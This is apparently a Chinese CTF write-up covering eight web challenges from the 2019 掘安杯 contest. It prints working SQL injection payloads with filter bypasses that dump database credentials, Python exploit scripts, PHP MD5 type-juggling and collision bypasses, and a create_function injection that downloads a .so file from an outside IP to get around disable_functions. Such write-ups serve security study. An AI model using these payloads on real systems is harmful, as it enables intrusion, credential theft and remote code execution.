2019掘安杯Web

清明无聊,玩了一下这个 ctf 比赛

Web

Web 1 web签到

Description

flag到底在哪啊!!

题目地址:http://120.79.1.69:8887/web1/

Hacking

Web 2 下载下载

Description

下载就对了,废什么话!

题目地址:http://120.79.1.69:8887/web2/

Hacking

题目给了一个文件下载的功能,http://120.79.1.69:8887/web2/?file=flag.txt

直接下 flag.php ,内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}

function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
?>

直接用decrypt函数解就行了…得到myCTF{cssohw456954GUEB}

Web 3 猜密码

Description

这题很简单

题目地址:http://120.79.1.69:8887/web3/

Hacking

直接看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<title>猜密码</title>
</head>
<body>
<!--
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

直接点击提交获得 flag

这里确实存在疑问,后来仔细看了看确实有点问题。

因为注释当中的是 POST['password'] 而非 POST['pwd']

如果没有传入$_POST['password']是肯定不能执行后面代码的,这是存疑的一点,后来猜测应该是服务器代码跟注释肯定不一致才导致的问题。但是当时直接点就拿到 flag 就没有再去深究,后来这题我在群里看了也产生了比较多的讨论,后来群主也给出了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
$flag="jactf{sfakdjgnasasdasde}";
session_start();
if (isset ($_POST['pwd'])){
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}

?>
<html>
<head>
<title>猜密码</title>
</head>
<body>
<!--
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
-->
<form action="web3.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

于是这个问题就得以解释了。只要传参$_POST['pwd']为空的话,$_SESSION['pwd']未设置也为空,也就拿到了 flag 了。

Web 4 该网站已被黑

Description

如何预防网站被黑?把不必要的端口修改或者关闭、使用web防火墙、使用cdn隐藏IP、使用安全狗。有技术可以代码审计修复0day漏洞

题目地址:http://120.79.1.69:8887/web4/

Hacking

猜测有后门,打开 shell.php,爆一下密码为 hack

Web 5 曲折的人生

Description

曲折是人生的常态当你遇到坎坷时,不妨把曲折的人生看作是一种常态,不要悲观失望,不要长吁短叹,不要停滞不前,把走弯路看成是前行的另一种形式,另一种途径,这样你也可以像那些走弯路的河流有勇气,抵达那遥远的人生大海。

题目地址:http://120.79.1.69:8887/web5/

Hacking

随便提交我们可以发现有一个错误返回

1
select id,username,password from `admin` where username='admin'<br/>用户名:admin不正确

过滤了 or union select ,但是大写就可以绕过,空格过滤用%0a绕过,用username=admin'%0aUNION%0aSELECT%0a1,2,3#,发现 2 那一列被回显,所以可以在 2 处查询

1
2
3
4
5
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,2,3#'<br/>用户名:2正确 </div>

username=admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#得到

1
2
3
4
5
6
7
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(schema_name),3
from
infORmation_schema.schemata#'<br/>用户名:information_schema,xiaowei正确 </div>

表名:

1
2
3
4
5
6
7
8
9
 <div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(table_name),3
from
infORmation_schema.tables
where
table_schema='xiaowei'#'<br/>用户名:admin正确 </div>

列名:

1
2
3
4
5
6
7
8
9
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(column_name),3
from
infORmation_schema.columns
where
table_name='admin'#'<br/>用户名:id,username,password正确 </div>

用户名:

1
2
3
4
5
6
7
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
id,username,3
from
admin#'<br/>用户名:goodboy_g-60Hellowor正确 </div>

密码:

1
2
3
4
5
6
7
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
id,password,3
from
admin#'<br/>用户名:ajahas&&*44askldajaj正确 </div>

登录成功后:

1
<div>the package password is <span>%^$%&sss88ioiern.gdsgj</span></div><div>the package download link=><a href='sss88ioiern.gdsgj.zip' target='_blank'>代码审计.zip</a></div>

自己用的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
index_url = 'http://120.79.1.69:8887/web5/index.php'
solution_url = 'http://120.79.1.69:8887/web5/?check'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
proxies = {
'http':'http://127.0.0.1:8080'
}

r = requests.Session()
s = r.get(index_url,allow_redirects=True,headers=headers)
str_text = r"<div class='rep'>.*</div>"

match = re.search(str_text,s.text)
result = match.group().replace("<div class='rep'>","")
result = result.replace("</div>","")
result = result.replace("(","(")
result = result.replace("ï¼",")")
result = result.replace("‰X","*")
result = result.replace("‰/","/")
result = result.replace(b'\xc2\x89'.decode(),"")
result = str(round(eval(result)))
print(result)

# param = "username=admin'+||+'1'#&password=admin&code=" + result
# param = "username=admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#&password=admin&code=" + result
# param = "username=admin' UNION SELECT 1,group_concat(table_name),3 from infORmation_schema.tables where table_schema='xiaowei'#&password=admin&code=" + result
# param = "username=admin' UNION SELECT id,group_concat(id),3 from admin#&password=admin&code=" + result
param = "username=admin'+||+'1'#&password=ajahas%26%26*44askldajaj&code=" +result
param = param.replace(' ',"%0a")
# print(param)
s = r.post(solution_url,data=param,headers=headers,proxies=proxies)
print(s.text)

这里比较坑的就是要处理那些不可见字符,我都是直接复制过来的,以及最后还有个不可见字符,用result = result.replace(b'\xc2\x89'.decode(),"")处理了…这里比较恶心…其他没什么难度

里面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
Private Function getPassword(ByVal str As String) As String


Dim reString As String

Dim i As Integer
i = 1


While (i <= Len(str))

reString = reString & Mid(str, i, 1)
i = i + (i Mod 5)


Wend


getPassword = reString

End Function



Private Sub Command1_Click()

Dim Dictionary As String

Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

Dim password As String

password = getPassword(Dictionary)


Dim psw As String

psw = Text1.Text


If (psw = password) Then

MsgBox "The password is correct!", vbOKOnly, "������ȷ"

Text1.Text = "Password for next pass : " & getPassword(password)

Else

MsgBox "PasswordFail!", vbOKOnly, "�������"


End If



End Sub

用 python 翻译一下

1
2
3
4
5
6
7
8
9
10
11
12
13
def getPassword(string):
i = 1
reString = ''
while i <= len(string) :
reString = reString + string[i-1]
i = i + (i % 5)
return reString

Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

password = getPassword(Dictionary)
password = getPassword(password)
print(password)

得到压缩包密码,解压得到的图片用 strings 看一下就是 flag 了

Web 6 not_easy

Description

this question is no easy

题目地址:http://120.79.1.69:8886/web6/

Hacking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}

if(isset($_GET['action'])){
$arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}

Code Breaking原题,只不过把 arg 的位置换了一下,无伤大雅,依旧可以用){return 123;}这种闭合形式绕过。接下来就是突破 disable_function 的限制了。

这里我直接用了 0ctf 的解法,因为有现成的 exp 就直接拿去用了。

1
http://120.79.1.69:8886/web6/?action=\create_function&arg=){return%202333;}copy(%22http://106.14.153.173:8080/zedd.so%22,%22/www/wwwroot/www.sec.cn/web6/zedd.so%22);%2f%2f

后来看了一下可以简便一点,在_SERVER["SCRIPT_FILENAME"]处发现绝对路径,然后用以下看当前文件

1
http://120.79.1.69:8886/web6/?action=\create_function&arg=){return%202333;}var_dump(scandir(%22/www/wwwroot/www.sec.cn/web6%22));%2f%2f

可以看到我之前传上去的.so,也看到了还有两个 webshell ,直接file_get_contents读 flag 即可

看知乎还有人发了一开始没做题目隔离…还没用 docker …这个一拿到 shell 就拿到了其他题目了…

Web 7 audit

Description

audit

题目地址:http://120.79.1.69:8887/web7/

Hacking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
 <?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}

if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}



str1 OR Sstr2 no no no

源码审计题,用数组可以绕过前面 4 个判断,str5 str6 str7 因为转成了字符串,所以需要强碰撞。这里可以利用Three way MD5 collision给的三个图片强行碰撞,但是比赛的时候由于自己对 python 这块不是特别熟,导致传这三个值老是传不了,最后赛后问了一下其他师傅要open().read()这样…(然而自己按照阿烨师傅的没加read()一直做不出来…

后面的可以自己 fuzz 一下,只要找到一个 md5 值可以变成0exxxxxx形式的字符串即可。这里用正则整了好一会

1
2
3
4
5
6
7
8
9
for ($i=99999; $i < 1000000; $i++) {
$str = md5($i);
$p = '/^\w{4}.[0-9]+$/';
if (preg_match($p, $str)) {
echo $i." ";
echo md5($i);
echo "<br>";
}
}

得到以下几个数

1
2
3
204540 1a083126803757739236831994920755
541725 2c125284818224703513551749833326
598677 39dd6797642068546678043973187459

其他就迎刃而解了。附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = "http://120.79.1.69:8887/web7/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=1a&n=0e"
data = {
'a':'QNKCDZO',
'b':204540,
'str5': open('black.jpg.coll').read(),
'str6': open('brown.jpg.coll').read(),
'str7': open('white.jpg.coll').read()
}
proxies = {
'http':'http://127.0.0.1:8080'
}
r = requests.post(url,data = data,proxies=proxies)
print r.text

Web 8 真的是 Web

Description

真的是web,格式jactf{}

题目地址:http://120.79.1.69:8887/web8/

Hacking

是个 WebAssembly 的题,原本算在 web 的,后面放到 rev 去了,就没看了。

Conclusion

整个比赛还是比较简单的,可以说整个比赛没有自己比赛的东西,算不上是高质量比赛,没学到什么其他的东西。把 python 又撸了一遍…简直,python3 字符编码真的有点恶心… web8 可能以后有空回回来看看,其他就没什么了。不过听说比赛主办方还是在校生…那也是挺辛苦的hhhh…还是对主办方的辛苦运维表示感谢

Vulnerabilites For A2OS 2019安恒周周练西湖论剑特别版

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×